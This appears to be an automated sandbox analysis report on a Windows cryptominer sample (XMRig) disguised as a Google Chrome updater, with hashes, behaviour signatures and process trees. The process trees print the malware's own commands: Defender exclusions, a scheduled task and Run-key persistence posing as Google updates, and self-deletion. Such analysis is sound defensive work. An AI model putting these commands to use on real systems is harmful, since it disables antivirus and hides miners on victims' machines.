Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...Et.exe
windows7-x64
10grhsghsGHs...KX.exe
windows7-x64
10grhsghsGHs...Qp.exe
windows7-x64
10grhsghsGHs...ep.exe
windows7-x64
10grhsghsGHs...5e.exe
windows7-x64
10grhsghsGHs...EP.exe
windows7-x64
10grhsghsGHs...pS.exe
windows7-x64
10grhsghsGHs...HZ.exe
windows7-x64
10grhsghsGHs...Sj.exe
windows7-x64
10grhsghsGHs...Nq.exe
windows7-x64
10grhsghsGHs...Ey.exe
windows7-x64
10Resubmissions
25-01-2024 16:55
240125-vfcyksbhgr 1024-01-2024 17:15
240124-vstf4aecaj 1023-01-2024 19:27
240123-x6cfvagbd9 1023-01-2024 19:27
240123-x6bvbafgem 1023-01-2024 19:27
240123-x6bjjsgbd8 1023-01-2024 19:27
240123-x6ax1sfgek 1023-01-2024 19:27
240123-x6abgsfgej 1023-01-2024 19:27
240123-x591qagbd7 1023-01-2024 19:27
240123-x59d7agbd6 1023-01-2024 19:27
240123-x584esgbd5 10Analysis
-
max time kernel
347s -
max time network
1798s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
25-01-2024 16:55
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231215-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231129-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231129-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231129-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231215-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231129-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/anDwkygzqtN6BKEt.exe
Resource
win7-20231129-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/bW3Td8vedKuGbSKX.exe
Resource
win7-20231215-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/cZ8JugqVuxAY52Qp.exe
Resource
win7-20231129-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/h5JMkDJvUkEMMWep.exe
Resource
win7-20231129-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/qM5GMXBk6hJE6Y5e.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/rUqNxUB6WWxdsfEP.exe
Resource
win7-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/rkUvkExvRhkxKUpS.exe
Resource
win7-20231129-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/u3GgbfA2e32fHMHZ.exe
Resource
win7-20231215-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/xQQTm7rAusnqpUSj.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/xxgg94VsN5GYyJNq.exe
Resource
win7-20231215-en
General
-
Target
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
-
Size
2.0MB
-
MD5
a16a669a09bf158058b83e04e69fe38e
-
SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
-
SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
-
SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
-
SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
Processes:
UMRsPGc4u9tycx9r.exeupdater.execonhost.exedescription pid process target process PID 2656 created 1384 2656 UMRsPGc4u9tycx9r.exe Explorer.EXE PID 2656 created 1384 2656 UMRsPGc4u9tycx9r.exe Explorer.EXE PID 2656 created 1384 2656 UMRsPGc4u9tycx9r.exe Explorer.EXE PID 2656 created 1384 2656 UMRsPGc4u9tycx9r.exe Explorer.EXE PID 1928 created 1384 1928 updater.exe Explorer.EXE PID 1928 created 1384 1928 updater.exe Explorer.EXE PID 1928 created 1384 1928 updater.exe Explorer.EXE PID 1812 created 1384 1812 conhost.exe Explorer.EXE PID 1928 created 1384 1928 updater.exe Explorer.EXE PID 1928 created 1384 1928 updater.exe Explorer.EXE -
XMRig Miner payload 30 IoCs
Processes:
resource yara_rule behavioral12/memory/2344-65-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral12/memory/2344-72-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral12/memory/2344-74-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral12/memory/2344-76-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral12/memory/2344-78-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral12/memory/2344-79-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral12/memory/2344-83-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral12/memory/2344-85-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral12/memory/2344-87-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral12/memory/2344-89-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral12/memory/2344-91-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral12/memory/2344-93-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral12/memory/2344-95-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral12/memory/2344-97-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral12/memory/2344-99-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral12/memory/2344-101-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral12/memory/2344-103-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral12/memory/2344-105-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral12/memory/2344-107-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral12/memory/2344-109-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral12/memory/2344-111-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral12/memory/2344-113-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral12/memory/2344-115-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral12/memory/2344-117-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral12/memory/2344-119-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral12/memory/2344-121-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral12/memory/2344-123-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral12/memory/2344-125-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral12/memory/2344-127-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral12/memory/2344-129-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Deletes itself 1 IoCs
Processes:
cmd.exepid process 3056 cmd.exe -
Executes dropped EXE 1 IoCs
Processes:
updater.exepid process 1928 updater.exe -
Loads dropped DLL 1 IoCs
Processes:
taskeng.exepid process 556 taskeng.exe -
Processes:
resource yara_rule behavioral12/memory/2344-65-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral12/memory/2344-72-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral12/memory/2344-74-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral12/memory/2344-76-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral12/memory/2344-78-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral12/memory/2344-79-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral12/memory/2344-83-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral12/memory/2344-85-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral12/memory/2344-87-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral12/memory/2344-89-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral12/memory/2344-91-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral12/memory/2344-93-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral12/memory/2344-95-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral12/memory/2344-97-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral12/memory/2344-99-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral12/memory/2344-101-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral12/memory/2344-103-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral12/memory/2344-105-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral12/memory/2344-107-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral12/memory/2344-109-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral12/memory/2344-111-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral12/memory/2344-113-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral12/memory/2344-115-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral12/memory/2344-117-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral12/memory/2344-119-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral12/memory/2344-121-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral12/memory/2344-123-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral12/memory/2344-125-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral12/memory/2344-127-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral12/memory/2344-129-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in System32 directory 5 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
updater.exedescription pid process target process PID 1928 set thread context of 1812 1928 updater.exe conhost.exe PID 1928 set thread context of 2344 1928 updater.exe conhost.exe -
Drops file in Program Files directory 4 IoCs
Processes:
UMRsPGc4u9tycx9r.exeupdater.execmd.execmd.exedescription ioc process File created C:\Program Files\Google\Chrome\updater.exe UMRsPGc4u9tycx9r.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 2608 schtasks.exe 2208 schtasks.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
-
Modifies data under HKEY_USERS 3 IoCs
Processes:
powershell.exeWMIC.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 90ea2d6ab24fda01 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe -
Suspicious behavior: EnumeratesProcesses 25 IoCs
Processes:
UMRsPGc4u9tycx9r.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.exepid process 2656 UMRsPGc4u9tycx9r.exe 2656 UMRsPGc4u9tycx9r.exe 2668 powershell.exe 2656 UMRsPGc4u9tycx9r.exe 2656 UMRsPGc4u9tycx9r.exe 2724 powershell.exe 2656 UMRsPGc4u9tycx9r.exe 2656 UMRsPGc4u9tycx9r.exe 2656 UMRsPGc4u9tycx9r.exe 2656 UMRsPGc4u9tycx9r.exe 3008 powershell.exe 1928 updater.exe 1928 updater.exe 2224 powershell.exe 1928 updater.exe 1928 updater.exe 308 powershell.exe 1928 updater.exe 1928 updater.exe 1812 conhost.exe 1812 conhost.exe 1928 updater.exe 1928 updater.exe 1928 updater.exe 1928 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid process 468 -
Suspicious use of AdjustPrivilegeToken 31 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exeupdater.exeWMIC.execonhost.exedescription pid process Token: SeDebugPrivilege 2668 powershell.exe Token: SeDebugPrivilege 2724 powershell.exe Token: SeDebugPrivilege 3008 powershell.exe Token: SeDebugPrivilege 2224 powershell.exe Token: SeDebugPrivilege 308 powershell.exe Token: SeDebugPrivilege 1928 updater.exe Token: SeAssignPrimaryTokenPrivilege 1088 WMIC.exe Token: SeIncreaseQuotaPrivilege 1088 WMIC.exe Token: SeSecurityPrivilege 1088 WMIC.exe Token: SeTakeOwnershipPrivilege 1088 WMIC.exe Token: SeLoadDriverPrivilege 1088 WMIC.exe Token: SeSystemtimePrivilege 1088 WMIC.exe Token: SeBackupPrivilege 1088 WMIC.exe Token: SeRestorePrivilege 1088 WMIC.exe Token: SeShutdownPrivilege 1088 WMIC.exe Token: SeSystemEnvironmentPrivilege 1088 WMIC.exe Token: SeUndockPrivilege 1088 WMIC.exe Token: SeManageVolumePrivilege 1088 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1088 WMIC.exe Token: SeIncreaseQuotaPrivilege 1088 WMIC.exe Token: SeSecurityPrivilege 1088 WMIC.exe Token: SeTakeOwnershipPrivilege 1088 WMIC.exe Token: SeLoadDriverPrivilege 1088 WMIC.exe Token: SeSystemtimePrivilege 1088 WMIC.exe Token: SeBackupPrivilege 1088 WMIC.exe Token: SeRestorePrivilege 1088 WMIC.exe Token: SeShutdownPrivilege 1088 WMIC.exe Token: SeSystemEnvironmentPrivilege 1088 WMIC.exe Token: SeUndockPrivilege 1088 WMIC.exe Token: SeManageVolumePrivilege 1088 WMIC.exe Token: SeLockMemoryPrivilege 2344 conhost.exe -
Suspicious use of WriteProcessMemory 20 IoCs
Processes:
powershell.execmd.exepowershell.exetaskeng.exepowershell.exeupdater.execmd.exedescription pid process target process PID 2724 wrote to memory of 2608 2724 powershell.exe schtasks.exe PID 2724 wrote to memory of 2608 2724 powershell.exe schtasks.exe PID 2724 wrote to memory of 2608 2724 powershell.exe schtasks.exe PID 3056 wrote to memory of 1432 3056 cmd.exe choice.exe PID 3056 wrote to memory of 1432 3056 cmd.exe choice.exe PID 3056 wrote to memory of 1432 3056 cmd.exe choice.exe PID 3008 wrote to memory of 600 3008 powershell.exe schtasks.exe PID 3008 wrote to memory of 600 3008 powershell.exe schtasks.exe PID 3008 wrote to memory of 600 3008 powershell.exe schtasks.exe PID 556 wrote to memory of 1928 556 taskeng.exe updater.exe PID 556 wrote to memory of 1928 556 taskeng.exe updater.exe PID 556 wrote to memory of 1928 556 taskeng.exe updater.exe PID 308 wrote to memory of 2208 308 powershell.exe schtasks.exe PID 308 wrote to memory of 2208 308 powershell.exe schtasks.exe PID 308 wrote to memory of 2208 308 powershell.exe schtasks.exe PID 1928 wrote to memory of 1812 1928 updater.exe conhost.exe PID 1580 wrote to memory of 1088 1580 cmd.exe WMIC.exe PID 1580 wrote to memory of 1088 1580 cmd.exe WMIC.exe PID 1580 wrote to memory of 1088 1580 cmd.exe WMIC.exe PID 1928 wrote to memory of 2344 1928 updater.exe conhost.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
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C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UMRsPGc4u9tycx9r.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UMRsPGc4u9tycx9r.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UMRsPGc4u9tycx9r.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
-
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\taskeng.exetaskeng.exe {F90B502E-13CB-4EEB-A259-F5F15027476E} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Program Files\Google\Libs\g.logFilesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\EWQM0TGLBOW1CFJK9TRF.tempFilesize
7KB
MD5315c14b6a6c60b505664e76ef650802e
SHA1ebbe383919a53b30a4925bc53515c2385d4ce6e2
SHA256003943af193a6d870d77e0711c8150051fb439a2624f4eddc648432a04759984
SHA5127d362b8ab4c31e2233ac02b22bbbf5c893078197f58bb57e152735ec038f7c364d5b735f1dd5f2f59f22eb3db6b067adc16a780274f7269c72228c994a4acad5
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\Program Files\Google\Chrome\updater.exeFilesize
2.0MB
MD5a16a669a09bf158058b83e04e69fe38e
SHA1f6c94763850d9e590d86057139e8895a7aacdeea
SHA256cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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memory/308-54-0x0000000000FE0000-0x0000000001060000-memory.dmpFilesize
512KB
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memory/308-53-0x000007FEF5EB0000-0x000007FEF684D000-memory.dmpFilesize
9.6MB
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memory/308-58-0x000007FEF5EB0000-0x000007FEF684D000-memory.dmpFilesize
9.6MB
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memory/308-57-0x0000000000FE0000-0x0000000001060000-memory.dmpFilesize
512KB
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memory/308-56-0x0000000000FE0000-0x0000000001060000-memory.dmpFilesize
512KB
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memory/308-55-0x000007FEF5EB0000-0x000007FEF684D000-memory.dmpFilesize
9.6MB
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memory/1812-75-0x0000000140000000-0x0000000140016000-memory.dmpFilesize
88KB
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memory/1812-71-0x0000000140000000-0x0000000140016000-memory.dmpFilesize
88KB
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memory/1928-61-0x000000013F720000-0x000000013F931000-memory.dmpFilesize
2.1MB
-
memory/1928-63-0x000000013F720000-0x000000013F931000-memory.dmpFilesize
2.1MB
-
memory/1928-45-0x000000013F720000-0x000000013F931000-memory.dmpFilesize
2.1MB
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memory/2224-52-0x000007FEF5510000-0x000007FEF5EAD000-memory.dmpFilesize
9.6MB
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memory/2224-51-0x0000000000E00000-0x0000000000E80000-memory.dmpFilesize
512KB
-
memory/2224-49-0x0000000000E00000-0x0000000000E80000-memory.dmpFilesize
512KB
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memory/2224-50-0x0000000000E00000-0x0000000000E80000-memory.dmpFilesize
512KB
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memory/2224-48-0x000007FEF5510000-0x000007FEF5EAD000-memory.dmpFilesize
9.6MB
-
memory/2224-47-0x0000000000E00000-0x0000000000E80000-memory.dmpFilesize
512KB
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memory/2224-46-0x000007FEF5510000-0x000007FEF5EAD000-memory.dmpFilesize
9.6MB
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memory/2344-85-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/2344-99-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/2344-129-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/2344-127-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/2344-125-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/2344-123-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/2344-121-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
